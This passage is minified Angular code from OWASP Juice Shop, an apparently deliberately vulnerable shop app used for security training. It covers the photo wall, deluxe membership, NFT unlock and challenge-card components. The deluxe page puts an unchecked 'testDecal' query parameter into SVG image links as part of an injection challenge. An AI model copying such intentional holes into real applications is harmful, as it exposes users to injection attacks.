v=0;v<r.length;v++)l+=r[v].toString(16);switch(l){case"89504e47":case"ffd8ffe0":case"ffd8ffe1":case"ffd8ffe2":case"ffd8ffe3":case"ffd8ffe8":m=!0;break;default:m=!1}i.next(m?null:{invalidMimeType:!0}),i.complete()}),e.readAsArrayBuffer(a)})};let He=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/memories"}addMemory(e,o){const i=new FormData;return i.append("image",o,e),i.append("caption",e),this.http.post(this.host,i).pipe((0,C.U)(r=>r.data),(0,_.K)(r=>{throw r}))}get(){return this.http.get(this.host+"/").pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function Zc(n,a){if(1&n&&(t.TgZ(0,"a",10)(1,"button",11),t._UZ(2,"i",12),t.qZA()()),2&n){const e=t.oxw().$implicit,o=t.oxw(2);t.hYB("href","https://twitter.com/intent/tweet?text=",e.caption," ",o.twitterHandle,"&hashtags=appsec",t.LSH)}}function wc(n,a){if(1&n&&(t.TgZ(0,"span",6),t._UZ(1,"img",7),t.TgZ(2,"div",8)(3,"div"),t._uU(4),t.qZA(),t.YNc(5,Zc,3,2,"a",9),t.qZA()()),2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(1),t.s9C("src",e.url,t.LSH),t.s9C("alt",e.caption),t.xp6(3),t.Oqu(e.caption),t.xp6(1),t.Q6J("ngIf",o.twitterHandle)}}function Sc(n,a){if(1&n&&(t.TgZ(0,"div",4),t.YNc(1,wc,6,4,"span",5),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("ngForOf",e.slideshowDataSource)}}function kc(n,a){1&n&&(t.TgZ(0,"mat-card",13),t._UZ(1,"img",14),t.TgZ(2,"mat-card-title")(3,"span",15),t._uU(4," NO_SEARCH_RESULT "),t.qZA()(),t.TgZ(5,"mat-card-content")(6,"span",15),t._uU(7," EMPTY_MEMORY_LIST "),t.qZA()()())}function Ic(n,a){if(1&n&&(t.TgZ(0,"div",28),t._UZ(1,"img",29),t.qZA()),2&n){const e=t.oxw(2);t.xp6(1),t.Q6J("src",e.imagePreview,t.LSH)("alt",e.form.value.caption)}}function Oc(n,a){1&n&&(t.TgZ(0,"mat-error",17),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.Oqu(t.lcZ(2,1,"MANDATORY_CAPTION")))}function Uc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div")(1,"div",16)(2,"h2",17),t._uU(3,"LABEL_SHARE_A_MEMORY"),t.qZA(),t.TgZ(4,"form",18)(5,"div")(6,"button",19),t.NdJ("click",function(){t.CHM(e);const i=t.MAs(10);return t.KtG(i.click())}),t._uU(7),t.ALo(8,"translate"),t.qZA(),t.TgZ(9,"input",20,21),t.NdJ("change",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.onImagePicked(i))}),t.qZA()(),t.YNc(11,Ic,2,2,"div",22),t.TgZ(12,"mat-form-field",23)(13,"mat-label",17),t._uU(14,"LABEL_CAPTION"),t.qZA(),t._UZ(15,"input",24),t.YNc(16,Oc,3,3,"mat-error",25),t.qZA(),t.TgZ(17,"button",26),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.save())}),t.TgZ(18,"i",27),t._uU(19," send "),t.qZA(),t._uU(20),t.ALo(21,"translate"),t.qZA()()()()}if(2&n){const e=t.oxw();t.xp6(4),t.Q6J("formGroup",e.form),t.xp6(3),t.hij("",t.lcZ(8,6,"LABEL_PICK_IMAGE")," "),t.xp6(4),t.Q6J("ngIf",""!==e.imagePreview&&e.imagePreview&&e.form.get("image").valid),t.xp6(5),t.Q6J("ngIf",e.form.get("caption").invalid),t.xp6(1),t.Q6J("disabled",e.form.get("image").invalid||e.form.get("caption").invalid),t.xp6(3),t.hij(" ",t.lcZ(21,8,"BTN_SUBMIT")," ")}}O.vI.add(Z.mdU);let Lc=(()=>{class n{constructor(e,o,i){this.photoWallService=e,this.configurationService=o,this.snackBarHelperService=i,this.emptyState=!0,this.form=new s.nJ({image:new s.p4("",{validators:[s.kI.required],asyncValidators:[yc]}),caption:new s.p4("",[s.kI.required])}),this.slideshowDataSource=[],this.twitterHandle=null}ngOnInit(){this.slideshowDataSource=[],this.photoWallService.get().subscribe(e=>{this.emptyState=0===e.length;for(const o of e)o.User?.username&&(o.caption=`${o.caption} (\\xa9 ${o.User.username})`),this.slideshowDataSource.push({url:o.imagePath,caption:o.caption})},e=>{console.log(e)}),this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.social&&e.application.social.twitterUrl&&(this.twitterHandle=e.application.social.twitterUrl.replace("https://twitter.com/","@"))},e=>{console.log(e)})}onImagePicked(e){const o=e.target.files[0];this.form.patchValue({image:o}),this.form.get("image").updateValueAndValidity();const i=new FileReader;i.onload=()=>{this.imagePreview=i.result},i.readAsDataURL(o)}save(){this.photoWallService.addMemory(this.form.value.caption,this.form.value.image).subscribe(()=>{this.resetForm(),this.ngOnInit(),this.snackBarHelperService.open("IMAGE_UPLOAD_SUCCESS","confirmBar")},e=>{this.snackBarHelperService.open(e.error?.error,"errorBar"),console.log(e)})}isLoggedIn(){return localStorage.getItem("token")}resetForm(){this.form.get("image").setValue(""),this.form.get("image").markAsPristine(),this.form.get("image").markAsUntouched(),this.form.get("caption").setValue(""),this.form.get("caption").markAsPristine(),this.form.get("caption").markAsUntouched(),this.form.get("caption").setErrors(null)}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(He),t.Y36(b.e),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-photo-wall"]],decls:9,vars:6,consts:[[1,"heading","mat-elevation-z6","mat-own-card",2,"margin-bottom","10px"],["class","grid",4,"ngIf","ngIfElse"],["emptyResult",""],[4,"ngIf"],[1,"grid"],["class","container mat-elevation-z6",4,"ngFor","ngForOf"],[1,"container","mat-elevation-z6"],[1,"image",3,"src","alt"],[1,"overlay"],["target","_blank",3,"href",4,"ngIf"],["target","_blank",3,"href"],["mat-icon-button","","aria-label","Tweet"],[1,"fab","fa-twitter","fa-lg"],[1,"mat-elevation-z0","emptyState"],["alt"," No results found","src","assets/public/images/products/no-results.png",1,"img-responsive","noResult"],["translate","",1,"noResultText"],[2,"margin-top","10px"],["translate",""],["enctype","multipart/form-data",3,"formGroup"],["mat-stroked-button","","type","button",3,"click"],["type","file","name","file",3,"change"],["filePicker",""],["class","image-preview",4,"ngIf"],["appearance","outline","color","accent"],["formControlName","caption","type","text","matInput",""],["translate","",4,"ngIf"],["id","submitButton","mat-raised-button","","color","primary",3,"disabled","click"],[1,"material-icons"],[1,"image-preview"],[3,"src","alt"]],template:function(e,o){if(1&e&&(t.TgZ(0,"mat-card",0)(1,"h1"),t._uU(2),t.ALo(3,"translate"),t.qZA(),t.TgZ(4,"div"),t.YNc(5,Sc,2,1,"div",1),t.qZA(),t.YNc(6,kc,8,0,"ng-template",null,2,t.W1O),t.YNc(8,Uc,22,10,"div",3),t.qZA()),2&e){const i=t.MAs(7);t.xp6(2),t.Oqu(t.lcZ(3,4,"LABEL_PHOTO_WALL")),t.xp6(3),t.Q6J("ngIf",!o.emptyState)("ngIfElse",i),t.xp6(3),t.Q6J("ngIf",o.isLoggedIn())}},dependencies:[h.sg,h.O5,u.Pi,s._Y,s.Fj,s.JJ,s.JL,s.sg,s.u,f.TO,f.KE,f.hX,x.lW,T.a8,T.dn,T.n5,B.Nt,u.X$],styles:["mat-form-field[_ngcontent-%COMP%]{width:100%}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:10%;margin-right:10%}#submitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:10px;width:60%}input[type=file][_ngcontent-%COMP%]{visibility:hidden}.image-preview[_ngcontent-%COMP%]{height:5rem;margin:1rem 0}.image-preview[_ngcontent-%COMP%] img[_ngcontent-%COMP%]{height:100%}.heading-main[_ngcontent-%COMP%]{font-size:x-large;justify-content:center}.main-wrapper[_ngcontent-%COMP%]{margin-left:10%;margin-right:10%}.grid[_ngcontent-%COMP%]{align-items:center;display:grid;grid-gap:20px;grid-template-columns:repeat(auto-fill,minmax(300px,1fr))}.grid[_ngcontent-%COMP%] img[_ngcontent-%COMP%]{border-radius:4px;box-shadow:2px 2px 6px #0000004d;max-width:100%}.container[_ngcontent-%COMP%]{position:relative}.image[_ngcontent-%COMP%]{display:block}.overlay[_ngcontent-%COMP%]{bottom:0;font-size:20px;left:0;opacity:0;padding:20px;position:absolute;right:0;text-align:center;transition:.5s ease}.container[_ngcontent-%COMP%]:hover .overlay[_ngcontent-%COMP%]{opacity:1}.emptyState[_ngcontent-%COMP%]{display:block;height:auto!important;margin:20px auto;width:50%}.noResult[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:auto;width:60%}.noResultText[_ngcontent-%COMP%]{display:block;margin-top:10px;text-align:center}.tweet-logo[_ngcontent-%COMP%]{height:24px}"]}),n})();function Pc(n,a){if(1&n&&(t.TgZ(0,"div",22)(1,"div",23)(2,"p",24),t._uU(3),t.qZA()()()),2&n){const e=t.oxw();t.xp6(3),t.Oqu(e.error)}}function Nc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div")(1,"div",14),t._uU(2),t.qZA(),t.TgZ(3,"div",14)(4,"button",25),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.upgradeToDeluxe())}),t.TgZ(5,"span",13),t._uU(6,"LABEL_BECOME_MEMBER"),t.qZA()()()()}if(2&n){const e=t.oxw();t.xp6(2),t.hij(" ",e.membershipCost,"\\xa4 ")}}const Ec=function(n){return{appname:n}};let Mc=(()=>{class n{constructor(e,o,i,r,l,m,v){this.router=e,this.userService=o,this.cookieService=i,this.configurationService=r,this.route=l,this.ngZone=m,this.io=v,this.membershipCost=0,this.error=void 0,this.applicationName="OWASP Juice Shop",this.logoSrc="assets/public/images/JuiceShop_Logo.png"}ngOnInit(){this.configurationService.getApplicationConfiguration().subscribe(e=>{const o=this.route.snapshot.queryParams.testDecal;if(e?.application&&(e.application.name&&(this.applicationName=e.application.name),e.application.logo)){let i=e.application.logo;"http"===i.substring(0,4)&&(i=decodeURIComponent(i.substring(i.lastIndexOf("/")+1))),this.logoSrc=`assets/public/images/${o||i}`}o&&this.ngZone.runOutsideAngular(()=>{this.io.socket().emit("verifySvgInjectionChallenge",o)})},e=>{console.log(e)}),this.userService.deluxeStatus().subscribe(e=>{this.membershipCost=e.membershipCost},e=>{this.error=e.error.error})}upgradeToDeluxe(){var e=this;this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/payment","deluxe"])}))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.F0),t.Y36(R),t.Y36(I.N_),t.Y36(b.e),t.Y36(U.gz),t.Y36(t.R0b),t.Y36(st))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-deluxe-user"]],decls:50,vars:10,consts:[["fxLayout","column","fxLayoutGap","10px",1,"main-wrapper"],["class","heading mat-elevation-z6",4,"ngIf"],[1,"mat-elevation-z6","deluxe-membership"],["fxFlexAlign","center","fxFlex","30%",1,"img-container"],["viewBox","0 0 720 720","xmlns","http://www.w3.org/2000/svg"],["href","assets/public/images/deluxe/blankBoxes.png","x","0","y","0","height","720","width","720"],["x","260","y","130","height","50"],["x","230","y","330","height","70"],["x","70","y","355","height","40"],["x","120","y","450","height","55"],["x","500","y","410","height","45"],["fxFlexAlign","center","fxFlex","60%"],[1,"item-name"],["translate",""],[1,"item-description"],["translate","",3,"translateParams"],[4,"ngIf"],["fxLayout","row","fxLayoutGap","10px","fxLayout.lt-md","column"],["fxFlex","33.33%",1,"mat-elevation-z6"],["fxFlexAlign","center","fxFlex","40%",1,"img-container"],[1,"img-responsive","img-thumbnail",2,"transform","scale(3)"],["translate","",1,"item-description"],[1,"heading","mat-elevation-z6"],[2,"margin-top","5px"],[1,"error"],["aria-label","Add to Basket","color","primary","mat-button","","mat-raised-button","",1,"btn-member",3,"click"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0),t.YNc(1,Pc,4,1,"div",1),t.TgZ(2,"mat-card",2)(3,"div",3),t.O4$(),t.TgZ(4,"svg",4),t._UZ(5,"image",5)(6,"image",6)(7,"image",7)(8,"image",8)(9,"image",9)(10,"image",10),t.qZA()(),t.kcU(),t.TgZ(11,"div",11)(12,"div",12)(13,"b",13),t._uU(14,"LABEL_DELUXE_MEMBERSHIP"),t.qZA()(),t.TgZ(15,"div",14)(16,"span",15),t._uU(17,"DESCRIPTION_DELUXE_MEMBERSHIP"),t.qZA()(),t.YNc(18,Nc,7,1,"div",16),t.qZA()(),t.TgZ(19,"div",17)(20,"mat-card",18)(21,"div",19)(22,"mat-icon",20),t._uU(23," slideshow "),t.qZA()(),t.TgZ(24,"div",11)(25,"div",12)(26,"b",13),t._uU(27,"LABEL_DEALS_OFFERS"),t.qZA()(),t.TgZ(28,"div",21),t._uU(29," DESCRIPTION_DEALS_OFFERS "),t.qZA()()(),t.TgZ(30,"mat-card",18)(31,"div",19)(32,"mat-icon",20),t._uU(33," directions_car "),t.qZA()(),t.TgZ(34,"div",11)(35,"div",12)(36,"b",13),t._uU(37,"LABEL_FREE_FAST_DELIVERY"),t.qZA()(),t.TgZ(38,"div",21),t._uU(39," DESCRIPTION_FREE_FAST_DELIVERY "),t.qZA()()(),t.TgZ(40,"mat-card",18)(41,"div",19)(42,"mat-icon",20),t._uU(43," add "),t.qZA()(),t.TgZ(44,"div",11)(45,"div",12)(46,"b",13),t._uU(47,"LABEL_UNLIMITED_PURCHASE"),t.qZA()(),t.TgZ(48,"div",21),t._uU(49," DESCRIPTION_UNLIMITED_PURCHASE "),t.qZA()()()()()),2&e&&(t.xp6(1),t.Q6J("ngIf",o.error),t.xp6(5),t.uIk("href",o.logoSrc),t.xp6(1),t.uIk("href",o.logoSrc),t.xp6(1),t.uIk("href",o.logoSrc),t.xp6(1),t.uIk("href",o.logoSrc),t.xp6(1),t.uIk("href",o.logoSrc),t.xp6(6),t.Q6J("translateParams",t.VKq(8,Ec,o.applicationName)),t.xp6(2),t.Q6J("ngIf",!o.error))},dependencies:[h.O5,u.Pi,p.xw,p.SQ,p.XD,p.yH,F.Hw,x.lW,T.a8],styles:[".heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large;justify-content:center;padding:12px 20px}.main-wrapper[_ngcontent-%COMP%]{margin-left:10%;margin-right:10%}.img-thumbnail[_ngcontent-%COMP%]{background:none;border:0;margin-left:20px}.btn-member[_ngcontent-%COMP%]{bottom:10%}.item-description[_ngcontent-%COMP%]{font-size:initial;margin-top:12px;text-align:center}.item-name[_ngcontent-%COMP%]{font-size:large;text-align:center}"]}),n})();var Ge=c(5376);function Dc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div")(1,"div")(2,"mat-card-title",5),t._uU(3,"TITLE_SBT"),t.qZA()(),t.TgZ(4,"form",6),t.NdJ("ngSubmit",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.submitForm())}),t.TgZ(5,"div",7)(6,"mat-form-field",8)(7,"mat-label",5),t._uU(8,"LABEL_PRIVATE_KEY"),t.qZA(),t.TgZ(9,"input",9),t.NdJ("ngModelChange",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.privateKey=i)}),t.qZA()(),t.TgZ(10,"h5",10),t._uU(11),t.qZA()(),t.TgZ(12,"button",11),t._uU(13," BTN_AUTHENTICATE "),t.qZA()()()}if(2&n){const e=t.oxw();t.xp6(9),t.Q6J("ngModel",e.privateKey),t.xp6(2),t.Oqu(e.errorMessage)}}function qc(n,a){1&n&&(t.TgZ(0,"div")(1,"div")(2,"mat-card-title",5),t._uU(3,"TITLE_SBT"),t.qZA()(),t.TgZ(4,"div",12),t._uU(5),t.ALo(6,"translate"),t.TgZ(7,"a",13),t._uU(8,"8343D2"),t.qZA()(),t._UZ(9,"mat-divider",14),t.TgZ(10,"div",15)(11,"div",16),t._uU(12,"LABEL_ACCOUNT_ADDRESS"),t.qZA(),t._UZ(13,"mat-divider",14),t.TgZ(14,"p",17),t._uU(15,"0x8343d2eb2B13A2495De435a1b15e85b98115Ce05"),t.qZA()(),t.TgZ(16,"div",15)(17,"div",16),t._uU(18,"LABEL_DESCRIPTION"),t.qZA(),t._UZ(19,"mat-divider",14),t.TgZ(20,"p",17),t._uU(21," {{\'NFT_SBT_BOX_TEXT\' | translate: { link: \'"),t.TgZ(22,"a",18),t._uU(23,"Opensea"),t.qZA(),t._uU(24,"\' } }} "),t.qZA()()()),2&n&&(t.xp6(5),t.hij(" ",t.lcZ(6,1,"OWNED_BY")," "))}let Fc=(()=>{class n{constructor(e){this.keysService=e,this.formSubmitted=!1,this.successResponse=!1,this.errorMessage=""}ngOnInit(){this.checkChallengeStatus()}checkChallengeStatus(){this.keysService.nftUnlocked().subscribe(e=>{this.successResponse=e.status},e=>{console.error(e),this.successResponse=!1})}submitForm(){this.formSubmitted=!0,this.keysService.submitKey(this.privateKey).subscribe(e=>{e.success?(this.successResponse=!0,this.errorMessage=e.message):this.successResponse=!1},e=>{this.successResponse=!1,this.errorMessage=e.error.message})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(Ge.t))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-nft-unlock"]],decls:9,vars:2,consts:[["fxLayout","column","fxLayoutGap","20px",1,"container"],["mat-raised-button","","color","warn","fxFlexAlign","center","translate","",1,"detail-container","offer-container","warning-container"],["fxFlexAlign","center","fxLayout","row","fxLayout.lt-lg","column",1,"detail-container","offer-container"],["src","assets/public/images/products/juicy_chatbot.jpg"],[4,"ngIf"],["translate",""],[3,"ngSubmit"],[1,"form-group"],["color","accent","appearance","outline",2,"width","350px"],["matInput","","id","privateKey","name","privateKey","required","","type","text","aria-label","Text field for the private key",3,"ngModel","ngModelChange"],[1,"error"],["type","submit","mat-raised-button","","color","accent","translate","",1,"btn","btn-primary"],[1,"owner-text"],["target","_blank","href","https://testnets.opensea.io/0x8343d2eb2B13A2495De435a1b15e85b98115Ce05"],[1,"detail-divider"],[1,"detail-box","mat-elevation-z6"],["translate","",1,"box-title"],[1,"box-text"],["target","_blank","href","https://testnets.opensea.io/assets/mumbai/0xf4817631372dca68a25a18eb7a0b36d54f3dbcf7/0"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card")(1,"div",0)(2,"button",1),t._uU(3," BTN_SBT_NOTE "),t.qZA(),t.TgZ(4,"div",2)(5,"div"),t._UZ(6,"img",3),t.qZA(),t.YNc(7,Dc,14,2,"div",4),t.YNc(8,qc,25,3,"div",4),t.qZA()()()),2&e&&(t.xp6(7),t.Q6J("ngIf",!o.successResponse),t.xp6(1),t.Q6J("ngIf",o.successResponse))},dependencies:[h.O5,u.Pi,p.xw,p.SQ,p.XD,s._Y,s.Fj,s.JJ,s.JL,s.Q7,s.On,s.F,f.KE,f.hX,x.lW,T.a8,T.n5,B.Nt,z.d,u.X$],styles:[".container[_ngcontent-%COMP%]{justify-content:center}.heading[_ngcontent-%COMP%]{justify-content:center;margin-bottom:10px;padding:12px 20px}.detail-container.offer-container[_ngcontent-%COMP%]{display:flex;gap:16px;max-width:700px;min-width:300px;width:70%}.owner-text[_ngcontent-%COMP%]{margin-bottom:10px}.warning-container[_ngcontent-%COMP%]{border-radius:4px;font-weight:600;justify-content:center;padding:16px;text-align:center;white-space:normal}.title[_ngcontent-%COMP%]{padding-bottom:27px}.text-justify[_ngcontent-%COMP%]{text-align:justify}mat-card[_ngcontent-%COMP%]{margin-bottom:10px}mat-card[_ngcontent-%COMP%]:nth-child(1){border-radius:5px;margin:0 auto;width:80%}.detail-box[_ngcontent-%COMP%]{margin-bottom:16px;padding:16px}.box-title[_ngcontent-%COMP%]{font-size:16px;font-weight:500}.box-text[_ngcontent-%COMP%]{margin-top:8px;overflow-wrap:break-word}.form-group[_ngcontent-%COMP%]{display:flex;flex-direction:column;margin-top:16px;width:100%}"]}),n})();var Bc=c(3426);const qt=Object.freeze({categories:[],difficulties:[],tags:[],status:null,searchQuery:null,showDisabledChallenges:!0,restrictToTutorialChallengesFirst:!1});function je(n){return{searchQuery:n.searchQuery||void 0,difficulties:n.difficulties.join(",")||void 0,status:n.status||void 0,tags:n.tags.join(",")||void 0,categories:n.categories.join(",")||void 0,showDisabledChallenges:n.showDisabledChallenges?void 0:"false"}}var Ke=c(7163),We=c(1572),ze=c(1096);function Hc(n,a){1&n&&(t.ynx(0),t.O4$(),t.TgZ(1,"svg",1),t._UZ(2,"path",2),t.qZA(),t.BQk())}const Gc=function(){return[]};let $e=(()=>{class n{}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["difficulty-stars"]],inputs:{difficulty:"difficulty"},decls:1,vars:2,consts:[[4,"ngFor","ngForOf"],["width","18","height","18","viewBox","0 0 14 13","fill","none","xmlns","http://www.w3.org/2000/svg"],["d","M6.56386 0.511963L8.10332 5.24992H13.0851L9.05475 8.17813L10.5942 12.9161L6.56386 9.98787L2.53352 12.9161L4.07297 8.17813L0.0426283 5.24992H5.02441L6.56386 0.511963Z","fill","var(--theme-text)"]],template:function(e,o){1&e&&t.YNc(0,Hc,3,0,"ng-container",0),2&e&&t.Q6J("ngForOf",t.DdM(1,Gc).constructor(o.difficulty))},dependencies:[h.sg],styles:["[_nghost-%COMP%]{display:flex}"]}),n})(),jc=(()=>{class n{constructor(e){this.translate=e}transform(e,o={hintUrl:null}){return o.hintUrl?this.translate.get("CLICK_FOR_MORE_HINTS").pipe((0,C.U)(i=>`${e} ${i}`)):(0,bt.of)(e)}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(u.sK,16))},n.\\u0275pipe=t.Yjl({name:"challengeHint",type:n,pure:!1}),n})();function Kc(n,a){if(1&n&&(t.TgZ(0,"span",17),t.ALo(1,"translate"),t._uU(2),t.qZA()),2&n){const e=a.$implicit;t.Q6J("matTooltip",t.lcZ(1,2,"TAG_"+(null==e?null:e.toUpperCase().split(" ").join("_"))+"_DESCRIPTION")),t.xp6(2),t.Oqu(e)}}const Wc=function(n){return{env:n}};function zc(n,a){if(1&n&&(t.TgZ(0,"button",18),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3,"info_outline"),t.qZA()()),2&n){const e=t.oxw();t.Q6J("matTooltip",t.xi3(1,3,"CHALLENGE_UNAVAILABLE",t.VKq(6,Wc,e.challenge.disabledEnv))),t.xp6(2),t.Udp("color","var(--theme-warn)")}}function $c(n,a){if(1&n&&(t.TgZ(0,"span",21),t._uU(1),t.qZA()),2&n){const e=t.oxw(2);t.xp6(1),t.hij("",e.challenge.codingChallengeStatus,"/2")}}const Vc=function(n,a){return{"partially-completed":n,completed:a}};function Xc(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",19),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.openCodingChallengeDialog(i.challenge.key))}),t.ALo(1,"translate"),t.YNc(2,$c,2,1,"span",20),t.TgZ(3,"mat-icon"),t._uU(4,"code"),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("disabled",!1===e.challenge.solved)("ngClass",t.WLB(6,Vc,1===e.challenge.codingChallengeStatus,2===e.challenge.codingChallengeStatus))("matTooltip",t.lcZ(1,4,e.challenge.solved?"LAUNCH_CODING_CHALLENGE":"SOLVE_HACKING_CHALLENGE")),t.xp6(2),t.Q6J("ngIf",0!==e.challenge.codingChallengeStatus)}}function tu(n,a){if(1&n&&(t.TgZ(0,"a",22),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3,"policy_outline"),t.qZA()()),2&n){const e=t.oxw();t.Q6J("href",e.challenge.mitigationUrl,t.LSH)("matTooltip",t.lcZ(1,2,"INFO_VULNERABILITY_MITIGATION_LINK"))}}const eu=function(n){return{completed:n}};function nu(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",23),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.repeatChallengeNotification(i.challenge.key))}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3,"flag_outline"),t.qZA()()}if(2&n){const e=t.oxw();t.Q6J("ngClass",t.VKq(4,eu,e.challenge.solved))("matTooltip",t.lcZ(1,2,"NOTIFICATION_RESEND_INSTRUCTIONS"))}}function ou(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",24),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.startHackingInstructorFor(i.challenge.name))}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3,"school_outline"),t.qZA()()}2&n&&t.Q6J("matTooltip",t.lcZ(1,1,"INFO_HACKING_INSTRUCTOR"))}const au=function(n){return{hintUrl:n}};function iu(n,a){if(1&n&&(t.TgZ(0,"a",25),t.ALo(1,"async"),t.ALo(2,"challengeHint"),t.TgZ(3,"mat-icon"),t._uU(4,"lightbulb"),t.qZA(),t._uU(5," Hint "),t.qZA()),2&n){const e=t.oxw();t.Udp("padding","0 6px 0 4px"),t.Q6J("href",e.challenge.hintUrl,t.LSH)("matTooltip",t.lcZ(1,4,t.xi3(2,6,e.challenge.hint,t.VKq(9,au,e.challenge.hintUrl))))}}function ru(n,a){if(1&n&&(t.TgZ(0,"span",26)(1,"mat-icon"),t._uU(2,"lightbulb"),t.qZA(),t._uU(3," Hint "),t.qZA()),2&n){const e=t.oxw();t.Udp("padding","0 6px 0 4px"),t.Q6J("matTooltip",e.challenge.hint)}}let su=(()=>{class n{constructor(){this.hasInstructions=ze.hasInstructions,this.startHackingInstructorFor=ze.startHackingInstructorFor}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["challenge-card"]],inputs:{challenge:"challenge",openCodingChallengeDialog:"openCodingChallengeDialog",repeatChallengeNotification:"repeatChallengeNotification",applicationConfiguration:"applicationConfiguration"},decls:19,vars:12,consts:[[1,"category-row"],[1,"name-row"],[1,"dot"],[1,"name"],[3,"difficulty"],[1,"description-row",3,"innerHtml"],[1,"bottom-row"],[1,"tags"],["class","tag",3,"matTooltip",4,"ngFor","ngForOf"],[1,"badge-group"],["class","badge",3,"matTooltip",4,"ngIf"],["class","badge",3,"disabled","ngClass","matTooltip","click",4,"ngIf"],["class","badge not-completable","target","_blank","rel","noopener noreferrer","aria-label","Vulnerability mitigation link",3,"href","matTooltip",4,"ngIf"],["class","badge",3,"ngClass","matTooltip","click",4,"ngIf"],["class","badge not-completable",3,"matTooltip","click",4,"ngIf"],["class","badge not-completable","target","_blank","rel","noopener noreferrer",3,"padding","href","matTooltip",4,"ngIf"],["class","badge not-completable",3,"padding","matTooltip",4,"ngIf"],[1,"tag",3,"matTooltip"],[1,"badge",3,"matTooltip"],[1,"badge",3,"disabled","ngClass","matTooltip","click"],["class","badge-status",4,"ngIf"],[1,"badge-status"],["target","_blank","rel","noopener noreferrer","aria-label","Vulnerability mitigation link",1,"badge","not-completable",3,"href","matTooltip"],[1,"badge",3,"ngClass","matTooltip","click"],[1,"badge","not-completable",3,"matTooltip","click"],["target","_blank","rel","noopener noreferrer",1,"badge","not-completable",3,"href","matTooltip"],[1,"badge","not-completable",3,"matTooltip"]],template:function(e,o){1&e&&(t.TgZ(0,"span",0),t._uU(1),t.qZA(),t.TgZ(2,"div",1),t._UZ(3,"div",2),t.TgZ(4,"span",3),t._uU(5),t.qZA(),t._UZ(6,"difficulty-stars",4),t.qZA(),t._UZ(7,"div",5),t.TgZ(8,"div",6)(9,"div",7),t.YNc(10,Kc,3,4,"span",8),t.qZA(),t.TgZ(11,"div",9),t.YNc(12,zc,4,8,"button",10),t.YNc(13,Xc,5,9,"button",11),t.YNc(14,tu,4,4,"a",12),t.YNc(15,nu,4,6,"button",13),t.YNc(16,ou,4,3,"button",14),t.YNc(17,iu,6,11,"a",15),t.YNc(18,ru,4,3,"span",16),t.qZA()()),2&e&&(t.xp6(1),t.Oqu(o.challenge.category),t.xp6(4),t.Oqu(o.challenge.name),t.xp6(1),t.Q6J("difficulty",o.challenge.difficulty),t.xp6(1),t.Q6J("innerHtml",o.challenge.description,t.oJD),t.xp6(3),t.Q6J("ngForOf",o.challenge.tagList),t.xp6(2),t.Q6J("ngIf",null!==o.challenge.disabledEnv),t.xp6(1),t.Q6J("ngIf",o.challenge.hasCodingChallenge),t.xp6(1),t.Q6J("ngIf",o.challenge.mitigationUrl&&o.challenge.solved),t.xp6(1),t.Q6J("ngIf",o.challenge.solved&&o.applicationConfiguration.ctf.showFlagsInNotifications),t.xp6(1),t.Q6J("ngIf",o.hasInstructions(o.challenge.name)),t.xp6(1),t.Q6J("ngIf",o.challenge.hint&&o.challenge.hintUrl),t.xp6(1),t.Q6J("ngIf",o.challenge.hint&&!o.challenge.hintUrl))},dependencies:[h.mk,h.sg,h.O5,F.Hw,Q.gM,$e,h.Ov,u.X$,jc],styles:["[_nghost-%COMP%]{background-color:var(--theme-background-darker);border-radius:2px;box-shadow:0 0 0 2px #50505040;display:grid;grid-template-rows:min-content min-content auto min-content;max-height:144px;overflow:hidden;padding:12px 16px}.solved[_nghost-%COMP%]{border-top:4px solid var(--theme-accent)}.solved[_nghost-%COMP%] .dot[_ngcontent-%COMP%]{background-color:var(--theme-accent)}.unsolved[_nghost-%COMP%]{border-top:4px solid rgba(80,80,80,.25)}.unsolved[_nghost-%COMP%] .dot[_ngcontent-%COMP%]{background-color:#5c5c5c}.disabled[_nghost-%COMP%]{filter:opacity(.4)}.disabled[_nghost-%COMP%] 